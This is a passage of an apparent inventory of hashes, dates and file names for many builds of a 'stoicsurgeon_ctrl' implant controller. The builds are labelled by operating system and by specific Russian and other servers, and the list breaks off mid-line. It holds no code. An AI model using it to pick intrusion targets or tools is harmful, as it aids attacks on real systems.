+1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.2_x86-linux-fedora6 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.4_x86-linux-redhat-7.3 +470A4B0A8D1CFE7620F872DCD5C586C82C8A78D2 Wed Sep 19 15:56:10 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.2_sparc-sun-solaris2.10 +5602BA3EAFA8CAA36B5B2161245C53DE1BAB9FE4 Fri Sep 21 11:25:44 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.12.3_i386-pc-solaris2.10 +F2DD0602EDAD2B5384ADBD74400F8F5E19E19705 Mon Nov 19 17:13:58 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.15.1_x86-freebsd-6.2 +528591EFDEFA610C2CE817860D3E7A2E1C3A8722 Thu Jul 5 15:54:45 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.3.2_sparc-sun-solaris2.10 +D85836B39D21004DE05C2CC24CD3BFAF3AD06C3D Thu Jul 5 17:21:02 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.1_x86-linux-tilttop-ns.snz.ru +8DC609C17F4D998CFFC460515A51DB3133A7909D Fri Jul 6 14:52:13 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.2_x86-linux-fedora3 +E65BDC36FA37647804D80801B6B683C6CCD7A869 Mon Jul 9 16:56:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.3_x86-linux-mandriva-2006 +2FDD9A0FC841ABD00554272664C8E702EBDB5207 Thu Jul 19 16:55:04 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.4_x86-linux-asianux-1.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.5_x86-linux-redhat-enterprise-3.0 +90A5CE2C698CE6E08C024D325CAC159AD61A97FF Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.4.6_x86-linux-redhat-enterprise-4.0 +BD80BED98DC9BF073F382131EC99D73DFF0EA667 Wed Aug 8 21:24:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.6.2_x86-linux-redhat-enterprise-3.0 +745780EE99C60D22120CBFDC06A25B7DC88CF5E4 Fri Aug 10 23:51:52 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.1_sparc-sun-solaris2.9 +C077C645E48ECA9CAF8D1F6BBA3CC142FE2DE625 Mon Aug 13 17:23:36 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.2_sparc-sun-solaris2.8 +D6998C096D464CB7DD7D3BDF6550D4D55B02FA71 Mon Aug 27 22:01:37 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.7.3_sparc-sun-solaris2.7 +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.9.1_x86-linux-centos +946BF12D016853CC889C171289F78C1F612AA500 Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.9.2_x86-linux-slackware-10.2 +5951CDE772CBA384F73CFD8DC63165387F559109 Mon Dec 3 16:39:38 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.2.1_x86-linux-guardianwall +F742263D2C2FEE02C8B8F84BA62A15A9B4613A43 Wed Dec 5 18:44:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.3.1_x86-linux-suse-8.2 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.2_x86-linux-suse-10.0 +1CB2F9074C56829B3E11A21187D42211A5EBA7AA Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.3.4.3_x86-linux-tilttop-gate.nto +056388D8375475A3C080FC3934C4AED2638A160C Thu Feb 7 23:57:08 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.0.1_x86-linux-fedora7 +2FAE985B9AC1DB56225B1AFF05EDCED743D1A5A0 Mon Mar 31 17:15:37 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.10_x86-linux-avaya +1CDEFCE06B5B3715FFD8EB7231FEE313F62A957D Mon Mar 31 21:05:06 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.11_x86-freebsd-6.2 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.12_x86-linux-tilttop-comet.vniitf.ru +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.13_x86-linux-debian-3.0 +3339C9B49722B4D10B8B3E66D0AC99016F2E3CD7 Tue Apr 8 19:29:44 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.14_x86-freebsd-5.5 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.1_x86-linux-fedora4 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.2_x86-linux-fedora7 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.3_x86-linux-redhat-7.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.4_x86-linux-mandrake-9.2 +4E5A06BB4AD87D4D10D2308BB785DE3447B3D81C Wed Mar 26 13:20:28 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.5_x86-freebsd-6.1 +94166BB0D0B1CE58DD9A93EA42438C575BD8126D Thu Mar 27 15:26:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.6_x86-freebsd-5.4 +44A204F30C93B12E1FAB758A23BE84D6173584CB Thu Mar 27 20:46:53 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.7_x86-freebsd-6.0 +9426A77D3061908F1DDBF2E8BF232D41EC309F22 Fri Mar 28 17:35:21 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.8_x86-freebsd-5.3 +3A06F7362A280548873A7D9D775D0C0E21A69AB7 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.10.9_x86-linux-centos-5.0 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.1_sparc-sun-solaris2.10 +FD224CA53EAA800E595C5E10405487ED36F18180 Mon May 5 17:04:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.11.2_sparc-sun-solaris2.10 +7AC4554D78FBA44140E68A65DA73A62DCE824FB3 Sat May 17 19:44:50 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.1_x86-linux-ubuntu +74B09BD2A3395581BD4941E468A66DE9F4327E36 Thu Jun 26 22:40:27 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.12.2_x86-linux-slackware-10.0 +4FD56AE0FF404111A66EECEE6C3981F26443DC89 Mon Jun 9 13:35:40 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.14.1_i386-pc-solaris2.10 +4BDFB6A22F48479981F6E61260557A1EC68AB690 Fri Jul 25 17:41:45 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.14_x86-linux-fedora1 +0063107275B8C990B46BBFA85AB015C020697808 Wed Jul 30 15:40:34 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.15.1_x86-linux-centos-5.1 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.1_x86-linux-debian-4.0 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.2_x86-linux-tilttop-ns-vega.int.ru +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.4_x86-linux-fedora7 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.5_x86-linux-centos-4.5 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.6_x86-linux-fedora6 +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.7_x86-linux-tilttop-ns.snz.ru +89405FFF1B004DE4A03E1685BA8CEB29D59C4579 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.17.8_x86-linux-centos-5.2 +C9571E83652F05921BD0E8C4E4A18C131E9C58E6 Thu Sep 18 17:15:20 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.20.1_x86-freebsd-6.1-wickedviper-ns4.ainf.ru +4D3D104C8AC1B2472CAE48C5DB3B212CCB27DBEA Mon Sep 22 17:13:24 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.21.1_x86-linux-centos-wax-5.x +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_error_x86_linux_tilttop_gate_nto2.vinitf.ru_1.4.23.10 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.10_x86-linux-tilttop-gate-nto2.vniitf.ru +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.1_x86-linux-debian-4.0 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.2_x86-linux-tilttop-ns-vega.int.ru +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_error_x86_linux_centos_5.2_i386_linux +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.3_x86-linux-centos-5.2 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.8_x86-linux-suse-9.3 +A2FA03C399DEC3B289BA629159060F7701D801A9 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.23.9_x86-linux-tilttop-ns.snz.ru +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_error_x86_linux_fedora7_i386_linux +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.2_x86-linux-fedora7 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.3_x86-linux-redhat-7.3 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.4_x86-linux-redhat-8.0 +F1CAF5E5C5070251FA35F879B4EC5A304CB2F896 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.24.5_x86-linux-suse-10.0 +8A4DD530060E297E5E70AF28C75BD34A2E579A40 Thu Dec 18 13:59:41 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.1_sparc-sun-solaris2.9 +2171C3DA8BBA1C1B5D69D6BEA44E8C11F68BDDAE Thu Dec 18 15:55:07 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.2_sparc-sun-solaris2.10 +4FE386DCD5B9B23A9BF2F0F02703396F179DC5FD Thu Dec 18 23:38:58 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.26.3_sparc-sun-solaris2.8 +FDEE3A07BA0FFECEBF273693EE0EFB63687F1309 Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.27.2_x86-linux-ubuntu-7.04 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.1_x86-linux-slackware-9.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.2_x86-linux-centos-5.1 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.3_x86-linux-alt-4.0 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.4_x86-linux-crypticsentinel-mailser +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.5_x86-linux-fedora6 +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.7_x86-linux-tilttop-redhouse.vega-int.ru +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.8_x86-linux-tilttop-bill.vega-int.ru +44F5BF8A9AA71A8F72FB199381FBC02B75E24109 Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.28.9_x86-linux-fedora3 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.1_sparc-sun-solaris2.7 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.2_sparc-sun-solaris2.8 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.3_sparc-sun-solaris2.9 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.4_sparc-sun-solaris2.10 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.5_i386-pc-solaris2.8 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.6_i386-pc-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.7_i386-pc-solaris2.10 +EF99467C9465A519952F264FDE90716D78C5BEB2 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.8_sparc-sun-solaris2.9 +46F0A4D1CAFC9EC1707EEB87620B73F6BE4C2189 Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.3.9_i386-pc-solaris2.9 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.1_x86-linux-centos-5.2 +F3F1A6296DBA23E5997F0A333B43568E0A5944BD Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.30.4_x86-linux-centos-4.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_error_x86_linux_suse_10.3_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.1_x86-linux-suse-10.3 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.2_x86-linux-redhat-enterprise-3.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_error_x86_linux_fedora5_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.3_x86-linux-fedora5 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_error_x86_linux_tilttop_gammach70.chel.su_bin +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.4_x86-linux-tilttop-gamma.ch70.chel.su +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.5_x86-linux-redhat-enterprise-4.0 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.6_x86-linux-vinifera-bs003v01 +C61EB9829C105520B819E20169FA9699078720C8 Wed Feb 25 17:33:11 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.7_x86_64-linux-centos-4.6 +878D4EF84B22686A972D825FAB21BD7C7B61ACD5 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.31.8_error_x86_linux_debian_4.0_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.1_x86-linux-suse-enterprise-9 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_error_x86_linux_ubuntu_8.04_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.2_x86-linux-ubuntu-8.04 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.3_x86-linux-debian-3.1 +3271C4E438AB250F225B5B82ACCEFAB40E31DE2B Mon Mar 9 20:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.4_x86-linux-avaya +B236474561FE3D7684AD29029FB28A85D6916C7D Tue Mar 10 19:43:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.5_x86_64-linux-redhat-enterprise-4.0 +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_error_x86_linux_slyeagle_ns.multinet.af_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.6_x86-linux-slyeagle-ns.multinet.af +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_error_x86_linux_slyeagle_ns_bin +2DBD8EA627011B5523B9789C4E081C648951C008 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.32.7_x86-linux-slyeagle-ns +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.1_x86-linux-suse-10.3 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.2_x86-linux-fedora7 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.3_x86-linux-fedora6 +198E8407CD2974B28160212C40A7D7822186D903 Tue Mar 24 14:29:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.33.4_x86-linux-slackware-12.0 +1C8FDE11F8C73E4A19057604E32B4386CF06D771 Thu Apr 2 16:57:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.1_sparc-sun-solaris2.8 +2767D05B7AF76B9233274E0F8C72AE74D2B41216 Thu Apr 2 18:56:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.2_sparc-sun-solaris2.9 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.3_sparc-sun-solaris2.10 +222DCDA93329D69F9FF7AF4E0B3074C359F26D92 Fri Apr 3 14:51:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.34.5_sparc-sun-solaris2.10 +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.1_error_x86_64_linux_debian_4.0_bin +75DDEFCC4268A7712E4140833AC0B3F68E4D784C Thu Apr 30 14:34:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.1_x86_64-linux-debian-4.0 +3CA5C2CB824660347166EF9D93B2276A6EBFB4DC Tue May 19 19:07:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.3_x86_64-linux-complexpuzzle-argos.b.de.kcce.net +157FE3B05B3863794C21B6E506B5DC558B802ED5 Wed Mar 5 21:23:43 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.5.1_x86-linux-fedora4 +0840F4048F665F585122BFA9725CF563160023F7 Mon Jun 15 17:21:08 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.10_x86-linux-fataltouch-srv-udprf-2.udprf.ru +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.1_x86-linux-centos-4.4 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.2_x86-linux-centos-4.6 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.3_x86-linux-tilttop-gate2 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.4_x86-linux-charmshrill-server +E5FC928178D1A6CE6D8EF6F8B01B3DE04AE9BCB6 Fri Jun 12 19:56:15 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.5_x86-linux-wolfacid_iq-lunasat-qos +8553765A31D5D3FFBF7A310B0EF366DCD04DA933 Wed Sep 2 02:22:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.1_sparc-sun-solaris2.8 +A68D48D22D0EABAD99C61FF729B85C4AAF59D4FF Wed Sep 2 02:36:49 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.2_sparc-sun-solaris2.9 +E5DA0DC05A85249A78EB7A100B36ED52B5C012C3 Wed Sep 23 20:30:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.2_sparc-sun-solaris2.8 +906353021314D1088490F9966E391487FDDE2F12 Wed Sep 23 20:38:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.10 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.9 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.6_sparc-sun-solaris2.9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.1_x86-linux-suse-enterprise-9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.4_x86-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.5_x86-linux-debian-4.0 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.6_x86_64-linux-centos-4.4 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.7_x86_64-linux-centos-5.3 +384D9F999253A97A6A3E5ADD952CA9E4E7C563D9 Wed Sep 30 20:48:40 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.8_x86_64-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.9_x86-linux-centos-5.2 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.1_x86-linux-centos-4.7 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.2_x86-linux-asianux-1.0 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.3_x86-linux-slackware-10.1 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.5_x86-freebsd-5.3-sassyninja-mail.aprf.gov.ru +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.1_x86_64-linux-redhat-enterprise-4.0 +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.2_x86_64-linux-redhat-enterprise-5.0 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.3_x86-linux-ubuntu-8.04 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 